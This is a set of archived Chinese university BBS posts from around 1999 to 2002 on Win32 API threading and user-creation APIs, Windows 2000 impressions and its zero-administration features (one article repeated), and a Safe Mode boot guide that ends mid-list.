日月光华 -- Programming精华区文章阅读 -------------------------------------------------------------------------------- 发信人: fw (dfd), 信区: Programming 标 题: win32api如何得到函数的地址 发信站: 日月光华站 (Mon Jun 26 11:48:11 2000) , 转信 我想编一个多线程,但需传递函数的地址 不知win32api中有没有这样的函数, 而不必借助VC或VB -- ※ 来源:·日月光华站 bbs.fudan.edu.cn·[FROM: 10.27.118.11] 发信人: Beta ( ), 信区: Programming 标 题: Re: win32api如何得到函数的地址 发信站: 日月光华站 (Mon Jun 26 13:17:49 2000) , 站内信件 C/C++中函数名就是函数的地址 【 在 fw (dfd) 的大作中提到: 】 : 我想编一个多线程,但需传递函数的地址 : 不知win32api中有没有这样的函数, 而不必借助VC或VB -- ※ 来源:·日月光华站 bbs.fudan.edu.cn·[FROM: 203.95.7.172] 发信人: fw (dfd), 信区: Programming 标 题: Re: win32api如何得到函数的地址 发信站: 日月光华站 (Mon Jun 26 13:56:26 2000) , 转信 但用CreateThread时所传递的参数确不能直接用函数名 我是想在access中调用api创建多线程,不好利用c语法, 而且也没有VB中的AddressOf.所以想在api中找到实现同样功能的函数 【 在 Beta ( ) 的大作中提到: 】 : C/C++中函数名就是函数的地址 -- ※ 来源:·日月光华站 bbs.fudan.edu.cn·[FROM: 10.27.118.11] 发信人: littleboy (elan), 信区: Programming 标 题: Re: win32api如何得到函数的地址 发信站: 日月光华站 (Mon Jun 26 15:21:00 2000) , 转信 【 在 fw (dfd) 的大作中提到: 】 : 但用CreateThread时所传递的参数确不能直接用函数名 I think you can. : 我是想在access中调用api创建多线程,不好利用c语法, : 而且也没有VB中的AddressOf.所以想在api中找到实现同样功能的函数 -- 芝麻开门.... 咣当!!! ※ 来源:·日月光华站 bbs.fudan.edu.cn·[FROM: 10.13.6.3] 发信人: Beta ( ), 信区: Programming 标 题: Re: win32api如何得到函数的地址 发信站: 日月光华站 (Mon Jun 26 15:34:30 2000) , 站内信件 你得按要求声明CreateThread的函数指针函数, 请参考MSDN: HANDLE CreateThread(.., .., .., LPTHREAD_START_ROUTINE lpStartAddress, ...) ; DWORD WINAPI ThreadProc(LPVOID lpParameter) ; ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~你这么声明那个函数了吗 ? 【 在 fw (dfd) 的大作中提到: 】 : 但用CreateThread时所传递的参数确不能直接用函数名 : 我是想在access中调用api创建多线程,不好利用c语法, : 而且也没有VB中的AddressOf.所以想在api中找到实现同样功能的函数 -- ※ 来源:·日月光华站 bbs.fudan.edu.cn·[FROM: 203.95.7.172] 发信人: fw (dfd), 信区: Programming 标 题: Re: win32api如何得到函数的地址 发信站: 日月光华站 (Mon Jun 26 15:47:42 2000) , 转信 在vc中，我已可成功地调用CreateThread，即根据MSDN. 但现在我想在access中调用，access利用vba编程，与vb类似， 不可以用LPTHREAD_START_ROUTINE等 【 在 Beta ( ) 的大作中提到: 】 : 你得按要求声明CreateThread的函数指针函数, 请参考MSDN: : HANDLE CreateThread(.., .., .., LPTHREAD_START_ROUTINE lpStartAddress, ...) ; : DWORD WINAPI ThreadProc(LPVOID lpParameter) ; : ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~你这么声明那个函数了吗 ? -- ※ 来源:·日月光华站 bbs.fudan.edu.cn·[FROM: 10.27.118.11] 发信人: littleboy (elan), 信区: Programming 标 题: Re: win32api如何得到函数的地址 发信站: 日月光华站 (Mon Jun 26 17:06:47 2000) , 转信 【 在 fw (dfd) 的大作中提到: 】 : 在vc中，我已可成功地调用CreateThread，即根据MSDN. : 但现在我想在access中调用，access利用vba编程，与vb类似， : 不可以用LPTHREAD_START_ROUTINE等 你去头文件里面看看这种类型到底是什幺东东。 -- 芝麻开门.... 咣当!!! ※ 来源:·日月光华站 bbs.fudan.edu.cn·[FROM: 10.13.6.3] -------------------------------------------------------------------------------- [返回上一页] [本讨论区]
日月光华 -- MS_Windows精华区文章阅读 -------------------------------------------------------------------------------- 发信人: xiaobo (gigi), 信区: MS_Windows 标 题: Re: 令人激动的 Windows 2000 发信站: 日月光华站 (Wed Jun 16 13:47:55 1999) , 转信 我对微软公司寄给我的Windows 2000 b3 专业版及服务器版进行了测试，发现其界面 不错，网络服务增加了很多，并提供了丰富的Wizard，统一了管理界面(MMC)，但外设 的支持还不成熟，D3D支持也不是很完善（不少游戏不能玩，速度也慢于Windows98）， 另外对ACPI的支持问题极大，许多主板的ACPI功能与它不兼容，这需要微软和各主板 厂商共同努力。Windows 2000 任重道远，还需多努力。 【 在 jalico (轼议) 的大作中提到: 】 : Windows 2000还一直处在测试阶段. 但我还是建议大家不妨可以试用一 : 下. 她的令人激动的崭新魅力相信会打动用户的. : 多语种支持: Windows 2000的多语种支持是一项技术飞跃. 用户可以通 : 过安装语言模块将系统变成所需的语言版本. 也就是说, 用户可以让自己 : 的系统在中文, 英文甚至日文之间自由来回切换. 在中文模式下, 可以 : 运行绝大多数以前只能在中文平台下运行的软件. : Active Directory: 引进了Forest, Tree等概念. 将网络资源结构化 : FAT32 Support: 很多人关心的事情. : DirectX Support: 支持Win98模式的DirectX. 所以大家不用担心由于 : W2K的内核是NT所造成的"游戏"不兼容性. 事实上, W2K 100%兼容WinNT : 4.0, 99%兼容Win98 . : MSC 插件: 又是新东西. 不过建议编程人员好好留意以下. 这是将来的 : 发展趋势. : 还有很多其他功能. 不一一介绍了. 另外, 需要指出的是: Windows : 2000还是主要支持Intel 的32位系统. 她的最低要求是: : 1) MMX 166 or Compatible, 80M RAM : or : 2) MMX 200 or Compatible, 64M RAM -- ※ 来源:·日月光华站 bbs.fudan.edu.cn·[FROM: 10.13.18.1] -------------------------------------------------------------------------------- [返回上一页] [本讨论区]
日月光华 -- MS_Windows精华区文章阅读 -------------------------------------------------------------------------------- 发信人: maniac (乐乐), 信区: MS_Windows 标 题: Windows 2000安装、使用小记（三） 发信站: 日月光华站 (Sat Nov 6 16:18:55 1999) , 转信 　　Professional初步给我的速度感觉还算快，跟Windows NT Workstation差不多，但比 98肯定是要慢，大概是因为比98多一些安全上面的判定吧。 　　而它的界面确实和98、NT 4有不少区别，最主要体现在集成的资源管理器上。这个资源 管理器已经和IE集成的高度的紧密。如果说98和它的IE分离还有可能，2000和IE是真的分 不开了。就连搜索文件，搜索网络上的电脑，也是弹出一个搜索的主页，输入关键字，然 后提交。 　　除此而外，2000几乎没有比98增加任何有用的附件，而已有的附件也和以前的一模一样。 除了CD播放器少微好看一点以外。但像我用惯了Jet Audio的，当然不会去用这个播放器。 唯独吸引人的是它附带了IIS 5！！！这可远比NT 4 Workstation自带的Peer Web Server和 98自带的Personal Web Server要好很多很多了，比IIS 4也强了不少（M$说的，我没感觉出来） 　　显示卡和声卡是自动找到，这点和98一样(NT 4找不到我的显卡)，ISDN卡也找到了，但 用98和NT的安装程序都无法安装。只好等上海贝尔快点出for 2000的驱动程序了。 　　这就是我安装2000和试用的初步感受，也许对也想装2000乐乐的兄弟们有点点帮助。 -- ※ 来源:·日月光华站 bbs.fudan.edu.cn·[FROM: www] -------------------------------------------------------------------------------- [返回上一页] [本讨论区]
日月光华 -- MS_Windows精华区文章阅读 -------------------------------------------------------------------------------- 发信人: maniac (乐乐), 信区: MS_Windows 标 题: Windows 2000安装、使用小记（一） 发信站: 日月光华站 (Sat Nov 6 16:15:46 1999) , 转信 　　同事从“微软开发者日”活动会上拿来了正版的MS Windows 2000中文预览版Beta3， 共三张光盘，一张Professional、一张Server、一张资料光盘，包含了Resource KIT。 　　像我这种正版意识淡漠的人，如今捡到正版的，就像得到宝似的劲头立刻十足起来， 回到家里随便扒拉几口饭后，就迫不及待的开装! 　　在2000的产品包装盒背面的系统需求里写着Professional：166 Mhz Pentium或以上， 32M内存（推荐64M内存；最高4G），Server的内存需求则翻番。想想我这台三年前买的 P133 + 64M内存 +4G硬盘当年也是响当当的配置，如今却连装Professional的最低配置 都赶不上，心中不禁要咒骂微软的黑。看来也只能装一个Professional玩玩了，Server会 把我的硬盘给转毁掉的。 　　说干就干，先进Windows 98，然后插入光盘，马上弹出一个对话框问我是否要升级， 选择“是”，然后再问“是否要升级”，还是要“全新的安装”。（什么逻辑，说过要升 级了，还问我要不要升级//kick。微软的程序员语文没有学好）。嘿，我还偏不升级了， 选择“全新安装”。接着就听到硬盘在响，估计从光盘往硬盘里拷贝东西，时间不长，半 分钟左右，就马上叫我重启机器。 　　重启一看，OS Loader已经被修改成Windows 2000的版本了，选择“安装Windows 2000” 选项，进入蓝色安装介面，就跟以前装Dos 6.22的那个介面相似，Windows NT的安装介面 也是如此，从这点看，微软又摒弃了Windows 98那个花花的安装界面了。先让我选择装在 那个盘上，我选择以前装了Windows NT Workstation4.0的那个分区，并先做NTFS格式化， 可怜我那个用了两年的NT就这样被我删了个精光，我的Email和以前在BBS上灌水留的备份 被我一刀全咔嚓掉了。 未完待续 -- ※ 来源:·日月光华站 bbs.fudan.edu.cn·[FROM: www] -------------------------------------------------------------------------------- [返回上一页] [本讨论区]
日月光华 -- Programming精华区文章阅读 -------------------------------------------------------------------------------- 发信人: limin (怪猫), 信区: Programming 标 题: 有没有创建NT用户的API？ 发信站: 日月光华站 (Mon May 15 09:35:26 2000) , 转信 NOVELL中可以一次性大量生成用户，NT SERVER却没有提供这个方法，因此 想自已写个程序来做这事，可却找不到相应的API，有人做过类似的事吗？ -- ※ 来源:·日月光华站 bbs.fudan.edu.cn·[FROM: 202.120.223.25] 发信人: pwc (hello), 信区: Programming 标 题: Re: 有没有创建NT用户的API？ 发信站: 日月光华站 (Mon May 15 15:42:12 2000) , 转信 有的，你可以反汇编一下就可以知道有那些API 【 在 limin (怪猫) 的大作中提到: 】 : NOVELL中可以一次性大量生成用户，NT SERVER却没有提供这个方法，因此 : 想自已写个程序来做这事，可却找不到相应的API，有人做过类似的事吗？ -- ※ 来源:·日月光华站 bbs.fudan.edu.cn·[FROM: 10.55.100.19] 发信人: littleboy (小混混), 信区: Programming 标 题: Re: 有没有创建NT用户的API？ 发信站: 日月光华站 (Mon May 15 20:56:00 2000) , 转信 【 在 limin (怪猫) 的大作中提到: 】 : NOVELL中可以一次性大量生成用户，NT SERVER却没有提供这个方法，因此 : 想自已写个程序来做这事，可却找不到相应的API，有人做过类似的事吗？ NetUserAdd -- 我是个一无是处的混球. ※ 来源:·日月光华站 bbs.fudan.edu.cn·[FROM: 10.13.6.3] 发信人: pwc (hello), 信区: Programming 标 题: Re: 有没有创建NT用户的API？ 发信站: 日月光华站 (Mon May 15 22:09:19 2000), WWW-POST@202.96.243.216 NetAPI32.dll 【 在 pwc (hello) 的大作中提到: 】 : 有的，你可以反汇编一下就可以知道有那些API : : 【 在 limin (怪猫) 的大作中提到: 】 : : NOVELL中可以一次性大量生成用户，NT SERVER却没有提供这个方法，因此 : : 想自已写个程序来做这事，可却找不到相应的API，有人做过类似的事吗？ : : -- -- ※ 来源:·日月光华站 bbs.fudan.edu.cn·[FROM: WWW-POST@202.96.243.] -------------------------------------------------------------------------------- [返回上一页] [本讨论区]
日月光华 -- MS_Windows精华区文章阅读 -------------------------------------------------------------------------------- 发信人: Moomin (西门吹雪*不做星际浪子了), 信区: MS_Windows 标 题: Win2000的零管理 发信站: 日月光华站 (Wed Nov 15 16:05:56 2000) , 转信 Windows 2000的零管理 　　介绍 　　当今计算机在商务中越来越流行，同时紧张的IT预算使得很多大公司把更多的注意 力集中到如何降低TCO（TOTAL COST OF OWNEERSHIP）上。因此考虑全面的和长期的计算 解决方案以及如何适应所有的组织需要是构建企业的信息系统所必需的。 　　微软致力于通过微软的客户策略满足这些需要。这些策略将给客户一个完整的解决 方案，这个解决方案能解决今天客户面对的核心问题---如何降低TCO和增加投资回报率 。微软通过这些解决方案最大化的保护保护客户的投资。 　　当前，微软降低TCO的策略主要有两部分：零管理和网络PC规范。零管理是微软客户 策略的一个重要的组成部分。它使用了一系列核心技术，这些技术给IT专家新的控制能 力和方便管理的基于视窗的客户端。这种能力主要是通过自动执行的任务来实现的，如 操作系统的升级和应用程序的安装，集中管理的工具和桌面系统的锁定。这些技术使用 户在不同的PC之间漫游时不再需要重新安装他们的应用程序和文件，因此减轻了普通用 户的工作负担，同时使得由于应用程序不兼容引起的问题大大减少了。零管理将使得应 用程序的软件安装更加方便，并且能够开发更广泛的应用程序。而且所有的这些好处都 不需要牺牲与现有基于视窗的软件兼容性。 　　零管理的主要能力： 　　1.自动系统升级和应用程序安装 　　2.持久的缓存数据和配置信息 　　3.集中管理和系统锁定 　　4.应用程序的弹性适应设计最好的解决方案 　　自动系统升级和应用程序的安装 　　以前的软件安装和维护是非常繁琐的，并且非常容易出错。在零管理中，这个过程 是完全自动化的，因此变得非常简单。当安装一个系统组件，设备驱动程序或者一个新 版本的操作系统时，Windows 2000可以被配置成自动升级这些软件。系统自动引导和检 查所有的Internet /Intranet升级。如果发现一个需要升级的软件，不须用户干涉系统 就可以自动升级它。例如，如果用户打开一个Word文件，但是Word运行所需要的某个文 件（例如WinWord.exe）被删除了，这时系统将会自动重新安装这个文件。 　　事实上，零管理意味着用户不需要执行管理工作。建立一个集中的策略的能力意味 着组的成员用户将有一致的硬件和软件配置，因此可以从技术支持上排除一个系统中的 不一致的成分。备份、搜索病毒和检查过期的文件全部是在服务器上进行的。管理员也 可以阻止用户安装不干净的应用程序（将导致病毒或者不兼容的动态链接库和删除他们 不应该删除的文件）。整个系统被保护起来，减少了用户出错的可能。 　　零管理减少了软件和硬件的管理负担。从一个中心的服务器，管理员可以远程的在 用户的计算机上安装操作系统。这个操作系统可以通过给每一个应用程序定义的软件包 来运行一个安装服务。当文件开始安装时，一个系统的数据库自动跟踪，找到应用程序 属于谁以及在用户的计算机上什么地方安装，也能跟踪版本号和动态链接库的参数。 　　历史记录使得可以很方便得回收一个不成功的安装、以后的反安装、或者重建一台 丢失或者被破坏（特别对笔记本更方便）的计算机。它阻止共享的动态链接库被其他应 用程序的反安装意外的删除掉。它也可以作为一个自动升级的触发器。当用户进行系统 引导时，它依靠管理策略来检查用户的操作系统的版本号和应用程序，如果需要一个升 级，它就自动开始。用户不需要关心新的软件安装 　　集中管理的工具 　　集中管理工具被称为Microsoft Management Console(MMC)。微软的工具和其他软件 厂商的工具可以简单的被集成在这个控制台中。目标是让管理员创建一个简单的自定义 的能够完成自己的管理工作的统一界面。这包括大型主机、微机和通常的网络操作系统 。就像Windows和Windows NT的管理工作一样。 　　在Windows 2000中，MMC与AD（Active Directory）集成，提供了一个简单的监视和 访问所有管理对象的地方。通过MMC，管理员可以跟踪和配置存储在AD中的用户和资源。 通过其他的Windows 2000的分布式服务：分布式安全、分布式文件系统、分布式时间共 享，AD将能够使分开的物理服务器表现的像一个服务器，无论这些服务器存在于同一间 房间中，还是被分布在多个地点。Windows 2000将提供需要的工具使管理员在AD中的集 中位置管理整个物理网络拓扑和它的逻辑视图（域树和所有目录对象的操作）。因此即 使一个网络中的服务器的数目增长的很多，管理负担也并没有增加。 　　集中管理和系统锁定 　　在许多组织中，用户控制他们的PC，有能力安装任何他们愿意安装的硬件和软件。 当这种级别的控制可以适应用户需求的时候，将导致一个系统中的计算机没有两台PC是 一样的。为了解决这个问题，在某些环境下，Windows 2000将强制执行某些功能（例如 ，不许用户自己安装某些软件）。 　　Windows 2000提供对于用户来说是不可见的各种各样的设备，在用户看来仅仅是一 个简单的驱动器盘符。并且，任何用户不需要的文件，例如系统文件，将通过Access C ontrol Lists(ACLs)的安全性阻止篡改和无意识的破坏。 　　管理员可以集中的控制应用程序环境，他们可以指定使用者可以访问哪些应用程序 ，以及在满足用户的环境需要的前提下进行细化的控制。 　　当与Network PC Specification集成时，IT的管理者能限制用户重新配置硬件环境 ，保证硬件的同一性和兼容性。 　　持久的缓存数据和配置信息 　　以前，应用程序为了能够在一台指定的PC上安装，它们（应用程序）通过在本地PC 的注册表存储状态和配置信息。这样做在一个网络环境中将产生问题，因为这些用户只 能通过他们自己的计算机而不能在其他的位置访问他们的应用程序和工具。Win95和NT工 作站使用用户漫游配置文件来实现系统环境，但是不能定位应用程序的配置信息。 　　在零管理中，本地PC的状态被自动映射到服务器上。这种持久的缓存使得：数据可 用性非常高，允许移动用户无论在线还是离线都可以访问信息。并且，用户可以在PC间 漫游并且保持对他们数据，应用程序，自定义的环境的完整的使用。另外，如果一个用 户的硬盘坏了或者PC坏了，重新恢复是非常容易的事情，而且不需要重新安装应用程序 、配置用户的配置文件和其他数据。 　　设计最好的解决方案　应用程序的灵活性 　　互联网已经把商务应用程序分成了三类：使用数据库和后端的服务器来集中的存储 数据，中间设备实现一些逻辑的和物理的角色，最后是一些瘦客户端例如浏览器来进行 信息的交换。使用这个模型，复杂的逻辑和数据存储及维护能被集中在专家的监视下进 行，而不用最终用户负担起配置和管理的任务，只是给他们那些需要的数据就可以了。 　　零管理与三层开发模型紧密的结合在一个完整的开放平台上，允许开发者开发HTML 、开放式脚本、结构组件以及后台服务。这使得可以使用集成的Microsoft Internet E xplore Shell作为用户界面，并且支持通过Windows NT Server和BackOffice家族产品开 发基于服务的应用程序。 　　开发者和管理员开发基于网络的瘦客户端应用程序，就像是在今天的视窗上开发个 人产品和客户端服务器应用程序一样灵活。当与其他零管理应用程序结合时，管理员可 以精确的调整每个用户的环境来满足他们的准确需要，并且可以按照商务需要进行变化 。 　　虽然这里主要介绍操作系统的优点，应用程序也需要调整他们的行为来避免浪费他 们的TCO。例如，程序员应该创建插件使得他们的应用程序能在MMC中进行管理，他们应 该使用最新的API，等等。 　　通过Active Directory Service Interfaces(ADSI)，一个应用程序可以存储用户的 配置信息和应用程序自己的配置信息。这使得用户在任何时候都可以访问他们自定义的 环境，而不用考虑他们自己登录的究竟是哪一台计算机。在目录中存储配置信息也使管 理员更易于升级和改变资源，例如数据库服务器和打印机，而不用升级每个用户的用户 配置文件或者每个用户的计算机。 　　大部分零管理能力与应用程序的远程自动安装需要在一个要求锁定的（而不是可以 方便修改的）环境中运行。当前的应用程序面对很少的限制，可以拷贝文件到一个用户 的系统中，用户的配置信息（移动的）和计算机的配置信息（固定的）也被混在了一起 。微软一直致力于为Independent Software Vendors(ISVs)设置一个清晰的开发应用程 序的指导方针。在零管理中，应用程序的安装变成了一个操作系统的服务。每个应用程 序必须创建一个用于安装的软件包来进行安装的服务。幸运的是，创建这样一个软件包 很容易，甚至不需要编程，只要使用Windows Software Development Kit(SDK)中的一个 工具就可以了。 　　总结 　　微软的零管理策略使得在一个组织中可以最大限度的减少由于软件的原因而出错的 机会，同时由于普通用户的管理工作非常少，组织的培训费用将大大降低。因此，充分 利用Windows 2000的这种能力，将使得组织的效率更高，而总拥有成本将会更低。(清华 微软高级技术培训中心 牟华) 　　 -- 一千年前，人类认为地球是平的。 五百年前，人类认为地球是宇宙的中心。 十五分钟以前，你说你根本不认识我。 一分钟以前，你说你讨厌我。 明天人类会想些什么？ 明天你又会说些什么？ ※ 来源:·日月光华站 bbs.fudan.edu.cn·[FROM: 10.51.188.188] -------------------------------------------------------------------------------- [返回上一页] [本讨论区]
日月光华 -- MS_Windows精华区文章阅读 -------------------------------------------------------------------------------- 发信人: Moomin (西门吹雪*不做星际浪子了), 信区: MS_Windows 标 题: Win2000的零管理 发信站: 日月光华站 (Wed Nov 15 16:05:56 2000) , 转信 Windows 2000的零管理 　　介绍 　　当今计算机在商务中越来越流行，同时紧张的IT预算使得很多大公司把更多的注意 力集中到如何降低TCO（TOTAL COST OF OWNEERSHIP）上。因此考虑全面的和长期的计算 解决方案以及如何适应所有的组织需要是构建企业的信息系统所必需的。 　　微软致力于通过微软的客户策略满足这些需要。这些策略将给客户一个完整的解决 方案，这个解决方案能解决今天客户面对的核心问题---如何降低TCO和增加投资回报率 。微软通过这些解决方案最大化的保护保护客户的投资。 　　当前，微软降低TCO的策略主要有两部分：零管理和网络PC规范。零管理是微软客户 策略的一个重要的组成部分。它使用了一系列核心技术，这些技术给IT专家新的控制能 力和方便管理的基于视窗的客户端。这种能力主要是通过自动执行的任务来实现的，如 操作系统的升级和应用程序的安装，集中管理的工具和桌面系统的锁定。这些技术使用 户在不同的PC之间漫游时不再需要重新安装他们的应用程序和文件，因此减轻了普通用 户的工作负担，同时使得由于应用程序不兼容引起的问题大大减少了。零管理将使得应 用程序的软件安装更加方便，并且能够开发更广泛的应用程序。而且所有的这些好处都 不需要牺牲与现有基于视窗的软件兼容性。 　　零管理的主要能力： 　　1.自动系统升级和应用程序安装 　　2.持久的缓存数据和配置信息 　　3.集中管理和系统锁定 　　4.应用程序的弹性适应设计最好的解决方案 　　自动系统升级和应用程序的安装 　　以前的软件安装和维护是非常繁琐的，并且非常容易出错。在零管理中，这个过程 是完全自动化的，因此变得非常简单。当安装一个系统组件，设备驱动程序或者一个新 版本的操作系统时，Windows 2000可以被配置成自动升级这些软件。系统自动引导和检 查所有的Internet /Intranet升级。如果发现一个需要升级的软件，不须用户干涉系统 就可以自动升级它。例如，如果用户打开一个Word文件，但是Word运行所需要的某个文 件（例如WinWord.exe）被删除了，这时系统将会自动重新安装这个文件。 　　事实上，零管理意味着用户不需要执行管理工作。建立一个集中的策略的能力意味 着组的成员用户将有一致的硬件和软件配置，因此可以从技术支持上排除一个系统中的 不一致的成分。备份、搜索病毒和检查过期的文件全部是在服务器上进行的。管理员也 可以阻止用户安装不干净的应用程序（将导致病毒或者不兼容的动态链接库和删除他们 不应该删除的文件）。整个系统被保护起来，减少了用户出错的可能。 　　零管理减少了软件和硬件的管理负担。从一个中心的服务器，管理员可以远程的在 用户的计算机上安装操作系统。这个操作系统可以通过给每一个应用程序定义的软件包 来运行一个安装服务。当文件开始安装时，一个系统的数据库自动跟踪，找到应用程序 属于谁以及在用户的计算机上什么地方安装，也能跟踪版本号和动态链接库的参数。 　　历史记录使得可以很方便得回收一个不成功的安装、以后的反安装、或者重建一台 丢失或者被破坏（特别对笔记本更方便）的计算机。它阻止共享的动态链接库被其他应 用程序的反安装意外的删除掉。它也可以作为一个自动升级的触发器。当用户进行系统 引导时，它依靠管理策略来检查用户的操作系统的版本号和应用程序，如果需要一个升 级，它就自动开始。用户不需要关心新的软件安装 　　集中管理的工具 　　集中管理工具被称为Microsoft Management Console(MMC)。微软的工具和其他软件 厂商的工具可以简单的被集成在这个控制台中。目标是让管理员创建一个简单的自定义 的能够完成自己的管理工作的统一界面。这包括大型主机、微机和通常的网络操作系统 。就像Windows和Windows NT的管理工作一样。 　　在Windows 2000中，MMC与AD（Active Directory）集成，提供了一个简单的监视和 访问所有管理对象的地方。通过MMC，管理员可以跟踪和配置存储在AD中的用户和资源。 通过其他的Windows 2000的分布式服务：分布式安全、分布式文件系统、分布式时间共 享，AD将能够使分开的物理服务器表现的像一个服务器，无论这些服务器存在于同一间 房间中，还是被分布在多个地点。Windows 2000将提供需要的工具使管理员在AD中的集 中位置管理整个物理网络拓扑和它的逻辑视图（域树和所有目录对象的操作）。因此即 使一个网络中的服务器的数目增长的很多，管理负担也并没有增加。 　　集中管理和系统锁定 　　在许多组织中，用户控制他们的PC，有能力安装任何他们愿意安装的硬件和软件。 当这种级别的控制可以适应用户需求的时候，将导致一个系统中的计算机没有两台PC是 一样的。为了解决这个问题，在某些环境下，Windows 2000将强制执行某些功能（例如 ，不许用户自己安装某些软件）。 　　Windows 2000提供对于用户来说是不可见的各种各样的设备，在用户看来仅仅是一 个简单的驱动器盘符。并且，任何用户不需要的文件，例如系统文件，将通过Access C ontrol Lists(ACLs)的安全性阻止篡改和无意识的破坏。 　　管理员可以集中的控制应用程序环境，他们可以指定使用者可以访问哪些应用程序 ，以及在满足用户的环境需要的前提下进行细化的控制。 　　当与Network PC Specification集成时，IT的管理者能限制用户重新配置硬件环境 ，保证硬件的同一性和兼容性。 　　持久的缓存数据和配置信息 　　以前，应用程序为了能够在一台指定的PC上安装，它们（应用程序）通过在本地PC 的注册表存储状态和配置信息。这样做在一个网络环境中将产生问题，因为这些用户只 能通过他们自己的计算机而不能在其他的位置访问他们的应用程序和工具。Win95和NT工 作站使用用户漫游配置文件来实现系统环境，但是不能定位应用程序的配置信息。 　　在零管理中，本地PC的状态被自动映射到服务器上。这种持久的缓存使得：数据可 用性非常高，允许移动用户无论在线还是离线都可以访问信息。并且，用户可以在PC间 漫游并且保持对他们数据，应用程序，自定义的环境的完整的使用。另外，如果一个用 户的硬盘坏了或者PC坏了，重新恢复是非常容易的事情，而且不需要重新安装应用程序 、配置用户的配置文件和其他数据。 　　设计最好的解决方案　应用程序的灵活性 　　互联网已经把商务应用程序分成了三类：使用数据库和后端的服务器来集中的存储 数据，中间设备实现一些逻辑的和物理的角色，最后是一些瘦客户端例如浏览器来进行 信息的交换。使用这个模型，复杂的逻辑和数据存储及维护能被集中在专家的监视下进 行，而不用最终用户负担起配置和管理的任务，只是给他们那些需要的数据就可以了。 　　零管理与三层开发模型紧密的结合在一个完整的开放平台上，允许开发者开发HTML 、开放式脚本、结构组件以及后台服务。这使得可以使用集成的Microsoft Internet E xplore Shell作为用户界面，并且支持通过Windows NT Server和BackOffice家族产品开 发基于服务的应用程序。 　　开发者和管理员开发基于网络的瘦客户端应用程序，就像是在今天的视窗上开发个 人产品和客户端服务器应用程序一样灵活。当与其他零管理应用程序结合时，管理员可 以精确的调整每个用户的环境来满足他们的准确需要，并且可以按照商务需要进行变化 。 　　虽然这里主要介绍操作系统的优点，应用程序也需要调整他们的行为来避免浪费他 们的TCO。例如，程序员应该创建插件使得他们的应用程序能在MMC中进行管理，他们应 该使用最新的API，等等。 　　通过Active Directory Service Interfaces(ADSI)，一个应用程序可以存储用户的 配置信息和应用程序自己的配置信息。这使得用户在任何时候都可以访问他们自定义的 环境，而不用考虑他们自己登录的究竟是哪一台计算机。在目录中存储配置信息也使管 理员更易于升级和改变资源，例如数据库服务器和打印机，而不用升级每个用户的用户 配置文件或者每个用户的计算机。 　　大部分零管理能力与应用程序的远程自动安装需要在一个要求锁定的（而不是可以 方便修改的）环境中运行。当前的应用程序面对很少的限制，可以拷贝文件到一个用户 的系统中，用户的配置信息（移动的）和计算机的配置信息（固定的）也被混在了一起 。微软一直致力于为Independent Software Vendors(ISVs)设置一个清晰的开发应用程 序的指导方针。在零管理中，应用程序的安装变成了一个操作系统的服务。每个应用程 序必须创建一个用于安装的软件包来进行安装的服务。幸运的是，创建这样一个软件包 很容易，甚至不需要编程，只要使用Windows Software Development Kit(SDK)中的一个 工具就可以了。 　　总结 　　微软的零管理策略使得在一个组织中可以最大限度的减少由于软件的原因而出错的 机会，同时由于普通用户的管理工作非常少，组织的培训费用将大大降低。因此，充分 利用Windows 2000的这种能力，将使得组织的效率更高，而总拥有成本将会更低。(清华 微软高级技术培训中心 牟华) 　　 -- 一千年前，人类认为地球是平的。 五百年前，人类认为地球是宇宙的中心。 十五分钟以前，你说你根本不认识我。 一分钟以前，你说你讨厌我。 明天人类会想些什么？ 明天你又会说些什么？ ※ 来源:·日月光华站 bbs.fudan.edu.cn·[FROM: 10.51.188.188] -------------------------------------------------------------------------------- [返回上一页] [本讨论区]
日月光华 -- Virus精华区文章阅读 -------------------------------------------------------------------------------- 发信人: Hyoga (白鸟座·冰河), 信区: Virus 标 题: 如何进入Windows安全模式 发信站: 日月光华 (2002年09月24日10:07:59 星期二), 站内信件 如何进入安全模式 Emil(emil@china.com) 一、Windows95环境下进入安全模式： 1、开启计算机，如果正在运行Windows，请重启计算机； 2、在计算机开启时，请留意观察屏幕，当出现"Starting Windows 95"的时候，按 住F5键，这样就能进入安全模式； 3、或者，在计算机开启时，当出现"Starting Windows 95"的时候，迅速按住F8键， 在出现的启动菜单中选择第三项"Safe Mode"。 二、Windows98/Me环境下进入安全模式： 1、一开机就按住Shift键不放，直到系统启动完毕。 2、在计算机开启时，按住CTRL键直到出现Windows 98启动菜单为止，选择第三项 "Safe Mode"。 3、或者，在计算机开启时，当出现"Starting Windows 98"的时候，迅速按下F8键， 在出现的启动菜单中选择第三项"Safe Mode"。 4、如果有多系统引导，在选择Windows98/Me启动时，当按下回车键，就应该迅速地 按下F8键（最好两只手进行操作），在出现的启动菜单中选择第三项"Safe Mode" 另外一种方法： 1、在Windows环境下，点击“开始”菜单，然后点击“运行”； 2、输入msconfig，然后点击“确定”按钮； 3、点击“高级”按钮，选择“启用“启动”菜单”； 4、然后点击“确定”按钮保存退出，重新启动计算机； 5、重新启动计算机后，就会出现“启动菜单”，选择第三项"Safe Mode"； 6、如果要取消“启动菜单”，重复上述1-4步骤，不同的是第3步取消选择“启用“ 启动”菜单”。 如果以上两个方法都失败了，还可以进行以下操作进入安全模式： 1、确认系统启动首先从软驱开始引导启动，插入一张空白软盘或者非引导盘； 2、重新启动计算机，当计算机启动的时候，由于所插入的软盘不是引导盘，此时就 会看到一条错误信息"Non-System Disk, please replace the disk and press any key."； 3、取出软盘，然后按F8键，就会出现启动菜单，选择"Safe Mode"； 三、Windows2000环境下进入安全模式： 在启动Windows2000时，当看到白色箭头的进度条，按下F8键，出现Windows2000高 级选项菜单，有以下一些选项： 安全模式 带网络连接的安全模式 带命令提示行的安全模式 启用启动日志模式 启用VGA模式 最近一次的正确配置 目录恢复模式 调试模式 正常启动 其中，安全模式：是启动Windows2000的最低配置的设备驱动程序及服务。带网络连 接的安全模式：是启动Windows2000的最低配置的设备驱动程序及服务，加上装载网络所 需的驱动程序。带命令提示行的安全模式：这与“安全模式”一样，例外的是，启动 Cmd.exe而不启动Windows资源管理器。一般情况下选择“安全模式”。 四、WindowsXP环境下进入安全模式： 1、在计算机开启BIOS加载完之后，迅速按下F8键，在出现的WindowsXP高级选项菜 单中选择“安全模式”； 2、如果有多系统引导，在选择WindowsXP启动时，当按下回车键，就应该迅速地按 下F8键（最好两只手进行操作），在出现的WindowsXP高级选项菜单中选择“安全模式”。 另外一种方式： 